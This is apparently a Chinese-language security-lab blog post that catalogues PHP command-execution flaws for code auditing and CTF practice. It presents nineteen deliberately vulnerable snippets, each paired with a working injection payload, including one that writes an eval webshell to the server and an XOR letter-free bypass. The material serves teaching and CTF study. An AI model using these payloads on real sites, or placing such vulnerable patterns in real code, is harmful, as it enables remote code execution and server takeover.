PHP命令執行集錦

合天網安實驗室發表於2022-03-21

前言

程式碼審計總要遇到命令執行或者說RCE,打CTF的過程中難免不會碰見,畢竟PHP是世界上最好的語言,總結一下

命令執行函式

E.g.1
 <?php 
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
$b = "$_GET[d]";
$array[0] =$b;
$c = array_map($a,$array);
?>

傳入引數c和d,array_map函式作用將$a作為函式,$array作為引數,構造paylaod

?c=assert&d=system(%27ls%27);

E.g.2
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
$b = create_function('',$a);
$b();
?>

create_function 函式會建立一個匿名函式(lambda樣式),在第一個echo中顯示出名字,並在第二個echo語句中執行了此函式。

$b = create_function('',$a);

這裡$a為函式,' '為引數

那麼可以看作為

function lambda(){
echo ' ' ;
}

傳入payload

b= ;}phpinfo();/*

在function函式中即

function lambda(){
echo ' ' ;}phpinfo();/*
}

後面的內容註釋掉了,即執行命令

image-20220307182804462.png

E.g.3
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[d]";
$b='print'.$a.';';
$f = create_function('$a',$b);
$f($a)

跟上面一樣,雖然有一點變形,但是再$b的列印上沒有特殊之處,所以payload:

d=1;}system(%27ls%27);/*

一致。

image-20220307182819293.png

E.g.4
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
assert($a);
?>

沒什麼特別之處,assert直接作為函式執行,payload:

?b=system(%27ls;%27)

E.g.5
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
$b = "$_GET[c]";
call_user_func($a,$b);
?>

call_user_func()函式的特點,知道後面的後面的$b為引數,前面的$a為函式即可

payload:

?b=system&c=whoami

E.g.6
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
$b = array($_GET['c']);
call_user_func_array($a,$b);
?>

payload:

?b=assert&c=system(%27whoami%27);

E.g.7
<?php
error_reporting(0);
show_source(__FILE__);
$_GET['a']($_GET['b']);
?>

傳入引數a和b,一個作為函式執行,一個做位引數,構造payload:

?a=assert&b=system(%27ls%27)

E.g.8
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
eval($a);
?>

一句話木馬有沒有很熟悉,直接get方式傳參給b即可,payload:

?b=system("ls");

E.g.9
<?php
show_source(__FILE__);
echo "<br>";
echo '請輸入一個a的值';
echo "<br>";
error_reporting(0);
$price = $_GET['a'];
$code = 'echo $name. '.'的美元價格是' .$price.'; ';
$b = create_function('$name',$code);
$b('iphone');
?>

基本上屬於3的內容加強版,重點就是需要進行閉合,,程式碼變多了,payload沒有出入,重點還是再$code的位置

payload:

?a=1;}system(%27ls%27);/*

E.g.10
<?php
show_source(__FILE__);
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$database = array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . '"] , $b["' . $sort_by . '"]);';
usort($database,create_function('$a,$b',$sort_function));
?>

屬於加強版本,$sort_function的內容進行閉合,也就是sort_by的引數值要實現閉合,構造payload:

?sort_by=%27"]);}system(%27whoami%27);/*

image-20220307182832977.png

E.g.11
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
$b = preg_replace("/abc/e",$a,'abcd');
var_dump($b);
?>

雖然加了正則,但是並沒有什麼卵用,假把式,payload:

?c=system(%27ls%27);

E.g.12
<?php
show_source(__FILE__);
$commandExecution = "echo ";
echo "<br>";
system($commandExecution.$_GET['a']);
echo "<br>";
?>

payload

?a=<\?php\%20\@eval($_POST[a])\;%20\?>%20>2.php

一句話木馬寫入2.php

image-20220307182905992.png

也有其它解法直接進行命令執行。

E.g.13
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
echo "<br>";
exec($a,$b);
var_dump($b);
?

exec()函式直接執行命令,那麼payload

?c=whoami

E.g.14
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
echo shell_exec($a);
?

函式的特性shell_exec

?c=ls>2.txt

然後執行

?c=cat 2.txt

此時

image-20220307182917048.png

E.g.15
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
echo "<br>";
echo `$a`;
?>

看到echo以及傳入的字串,方法類似於上面的一道

?c=cat%20flag.php>3.txt

直接訪問3.txt即可,或者

?c=cat%203.txt

E.g.16
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
passthru($a);
?>

payload:

?c=cat%20flag.php

E.g.17
<?php
error_reporting(0);
show_source(__FILE__);
$cmd=$_GET['c'];
$fd = popen($cmd, 'r');
while($s=fgets($fd)){
print_r($s);
}
?>

payload

?c=cat%20flag.php

E.g.18
<?php
error_reporting(0);
show_source(__FILE__);
$command=$_GET['c'];
$descriptorspec=array(
  0=>array('pipe','r'),
  1=>array('pipe','w'),
  2=>array('pipe','w')
);
$handle=proc_open($command,$descriptorspec,$pipes,NULL);
if(!is_resource($handle)){
  die('proc_open failed');
}
while($s=fgets($pipes[1])){
  print_r($s);
}
while($s=fgets($pipes[2])){
  print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>

payload

?c=cat%20flag.php

E.g.19 無字母shell
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){ //檢測字元長度
  die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){ //限制字母和數字
  die("NO.");
}
@eval($code); //$code的值要為非字母和數字
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

繞過正則,傳入的引數中不能含有大小寫字母以及數字,使用異或的當時繞過正則即可

<?phpvar_dump('#'^'|'); var_dump('.'^'~');var_dump('/'^''); var_dump('|'^'/'); var_dump('{'^'/'); $__=("#"^"|").("."^"~").("/"^"").("|"^"/").("{"^"/");//變數$_值為字串'POST'?>

image-20220307182951085.png

no.flag中提示了flag在getflag()方法中,那麼自然需要構造payload去呼叫getflag()方法,需要引數長度小於40且繞過正則,那麼可以設想一下

function getflag(){

xxxxxxxxxxxxxxxx

}

@eval($code);

函式的呼叫就是類似於上面的過程,那麼eval在執行的過程中$code並不能直接執行,參考上面的題7那麼我傳入的code的引數的形式為$_GET[]且需要呼叫getFlag()方法,因為考慮到需要無字母,所以結合異或,那麼payload就是下面的內容:

?code=${"{{{"^"?<>/"}[""^"?"]();&_=getFlag

或者

?code=$="`{{{"^"?<>/";${$}_;&_=getFlag

這裡

//_GET 的變形無字母shell

$_="`{{{"^"?<>/";

image-20220307184319718.png

小結

大佬請繞路,如有錯誤歡迎師傅們指出。

 

實驗推薦:PHP命令注入攻擊(合天網安實驗室)點選進入實操>>

更多網安工具及學習資料,掃碼免費領:

 

相關文章